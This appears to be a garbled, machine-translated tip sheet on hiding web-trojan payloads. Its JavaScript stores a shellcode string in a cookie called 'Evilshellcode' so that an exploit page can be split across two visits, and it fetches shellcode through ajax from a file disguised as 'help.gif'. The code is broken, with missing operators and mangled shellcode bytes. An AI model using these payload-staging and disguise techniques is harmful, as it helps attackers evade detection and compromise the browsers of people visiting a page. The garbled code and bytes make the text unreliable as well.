Analysis of tips implementation of an Internet horse_Hacker nature

Cookie sample code:

Copy code The code is as follows:

//Storage
function setCookie (sVar, sVal){
theCookie = sVar '=' sVal '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="� 90�90 fc�7c�f9�35-49~db�d8�73 4euec..."
setCookie('Evilshellcode', shellcode);
//Get out
function getCookie(sVar) {
cookies = document.cookie.split('; ');
for(var i = 1; i <= cookies.length; i ){
if(cookies[i - 1]. split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a= unescape(getCookie('Evilshellcode'))

If the cookie is stored, it can be hung twice. The first time it is hung, the cookie writing code is harmless, and the second time it is taken out and combined with the new hook. How to use

ajax to call

Copy the code The code is as follows:

var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText

help.gif content

�90�90 fc�7c�f9�35-49~db�d8�73 4euec